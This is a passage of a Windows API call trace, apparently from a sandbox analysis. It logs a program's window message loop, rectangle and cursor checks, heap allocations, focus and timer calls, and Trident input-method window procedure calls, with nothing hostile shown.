[0084.348] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.348] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.348] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.348] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.349] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.349] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.349] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.349] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.349] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.349] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.349] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.349] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.349] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.349] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.349] GetCursor () returned 0x10003 [0084.349] GetCurrentThreadId () returned 0xcd8 [0084.349] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.349] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.349] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.349] GetMessageTime () returned 212738 [0084.349] GetMessagePos () returned 0x218027c [0084.349] GetCapture () returned 0x0 [0084.349] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.349] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.349] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.349] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.349] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.349] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.349] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.350] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.350] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.350] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.350] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.350] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.350] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.350] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.350] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.350] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.350] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.350] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.350] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.350] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.350] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.351] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.351] GetCurrentThreadId () returned 0xcd8 [0084.351] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.351] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.351] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.351] NtdllDefWindowProc_W () returned 0x0 [0084.351] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.351] GetCurrentThreadId () returned 0xcd8 [0084.351] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.351] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.351] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.351] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.351] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.351] GetCurrentThreadId () returned 0xcd8 [0084.352] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.352] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.352] GetMessageTime () returned 212738 [0084.352] GetMessagePos () returned 0x218027c [0084.352] GetCapture () returned 0x0 [0084.352] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.352] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.352] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.352] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.352] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.352] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.352] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.352] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.352] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.352] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.352] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.352] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.352] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.352] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.352] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.352] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.352] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.352] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.352] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.352] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.352] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.353] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.353] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.353] GetCursor () returned 0x10003 [0084.353] GetCurrentThreadId () returned 0xcd8 [0084.353] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.353] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.353] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.353] GetMessageTime () returned 212754 [0084.353] GetMessagePos () returned 0x218027c [0084.353] GetCapture () returned 0x0 [0084.353] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.353] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.353] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.353] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.353] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.353] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.353] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.353] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.353] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.353] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.353] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.353] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.353] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.353] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.353] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.353] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.353] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.353] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.354] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.354] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.354] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.354] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.354] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.354] GetCurrentThreadId () returned 0xcd8 [0084.354] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.354] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.354] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.354] NtdllDefWindowProc_W () returned 0x0 [0084.354] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.354] GetCurrentThreadId () returned 0xcd8 [0084.354] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.359] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.359] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.359] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.359] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.359] GetCurrentThreadId () returned 0xcd8 [0084.359] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.359] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.359] GetMessageTime () returned 212754 [0084.359] GetMessagePos () returned 0x218027c [0084.359] GetCapture () returned 0x0 [0084.359] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.359] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.359] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.359] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.359] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.359] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.359] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.359] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.359] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.359] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.359] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.359] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.359] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.360] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.360] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.360] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.360] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.360] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.360] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.360] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.360] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.360] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.360] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.360] GetCursor () returned 0x10003 [0084.360] GetCurrentThreadId () returned 0xcd8 [0084.360] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.360] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.360] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.360] GetMessageTime () returned 212754 [0084.360] GetMessagePos () returned 0x218027c [0084.360] GetCapture () returned 0x0 [0084.360] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.360] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.360] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.360] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.360] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.360] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.360] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.360] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.361] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.361] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.361] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.361] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.361] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.361] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.361] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.361] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.361] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.361] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.361] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.361] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.361] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.361] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.361] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.361] GetCurrentThreadId () returned 0xcd8 [0084.361] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.361] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.362] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.362] NtdllDefWindowProc_W () returned 0x0 [0084.362] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.362] GetCurrentThreadId () returned 0xcd8 [0084.362] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.555] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.555] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.555] GetCapture () returned 0x0 [0084.555] WindowFromPoint (Point=0x2a2) returned 0x2028c [0084.555] IsChild (hWndParent=0x60018, hWnd=0x2028c) returned 0 [0084.556] GetMessageTime () returned 212956 [0084.556] GetMessagePos () returned 0x1c502a2 [0084.556] KillTimer (hWnd=0x60132, uIDEvent=0x2000) returned 1 [0084.556] GetCapture () returned 0x0 [0084.556] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f56c | out: lpPoint=0x30f56c) returned 1 [0084.556] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.556] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.556] GetCurrentThreadId () returned 0xcd8 [0084.556] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.557] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f570 | out: lpPoint=0x30f570) returned 1 [0084.557] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82abc0 [0084.557] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82abc0 | out: hHeap=0x7f0000) returned 1 [0084.557] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f570 | out: lpPoint=0x30f570) returned 1 [0084.557] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82abc0 [0084.557] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82abc0 | out: hHeap=0x7f0000) returned 1 [0084.557] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x2a3, wParam=0x0, lParam=0x0, plResult=0x30f664 | out: plResult=0x30f664) returned 0x1 [0084.557] NtdllDefWindowProc_W () returned 0x0 [0084.557] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.557] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.899] NtdllDefWindowProc_W () returned 0x1 [0084.902] NtdllDefWindowProc_W () returned 0x0 [0084.902] NtdllDefWindowProc_W () returned 0x0 [0084.902] NtdllDefWindowProc_W () returned 0x0 [0084.902] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.902] GetParent (hWnd=0x60018) returned 0x201e6 [0084.902] GetParent (hWnd=0x201e6) returned 0x301fa [0084.902] GetParent (hWnd=0x301fa) returned 0x0 [0084.902] PostMessageW (hWnd=0x60018, Msg=0x491, wParam=0x0, lParam=0x0) returned 1 [0084.902] GetMessageTime () returned 212956 [0084.902] GetMessagePos () returned 0x1c502a2 [0084.902] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f350 | out: lpPoint=0x30f350) returned 1 [0084.902] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f350 | out: lpPoint=0x30f350) returned 1 [0084.903] GetCurrentThreadId () returned 0xcd8 [0084.903] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.903] PostMessageW (hWnd=0x60132, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0084.903] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x8, wParam=0x0, lParam=0x0, plResult=0x30f58c | out: plResult=0x30f58c) returned 0x1 [0084.903] NtdllDefWindowProc_W () returned 0x0 [0084.903] GetCurrentThreadId () returned 0xcd8 [0084.903] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.903] GetMessageTime () returned 212956 [0084.903] GetMessagePos () returned 0x1c502a2 [0084.904] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x30f19c | out: plResult=0x30f19c) returned 0x0 [0084.904] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.904] GetMessageTime () returned 212956 [0084.904] GetMessagePos () returned 0x1c502a2 [0084.917] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.917] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x282, wParam=0x1, lParam=0x0, plResult=0x30ebcc | out: plResult=0x30ebcc) returned 0x0 [0084.918] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.918] SetTimer (hWnd=0x60018, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000 [0084.918] GetCurrentThreadId () returned 0xcd8 [0084.918] GetCurrentThreadId () returned 0xcd8 [0084.918] NtdllDefWindowProc_W () returned 0x0 [0084.918] NtdllDefWindowProc_W () returned 0x0 [0084.918] NtdllDefWindowProc_W () returned 0x0 [0084.918] NtdllDefWindowProc_W () returned 0x0 [0084.918] NtdllDefWindowProc_W () returned 0x0 [0084.918] NtdllDefWindowProc_W () returned 0x1 [0084.920] GetFocus () returned 0x0 [0084.920] SetFocus (hWnd=0x60018) returned 0x0 [0084.920] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.921] GetMessageTime () returned 212956 [0084.921] GetMessagePos () returned 0x1c502a2 [0084.921] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x30efdc | out: plResult=0x30efdc) returned 0x0 [0084.921] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.921] GetMessageTime () returned 212956 [0084.921] GetMessagePos () returned 0x1c502a2 [0084.921] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x282, wParam=0x2, lParam=0x0, plResult=0x30ea0c | out: plResult=0x30ea0c) returned 0x0 [0084.921] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.921] 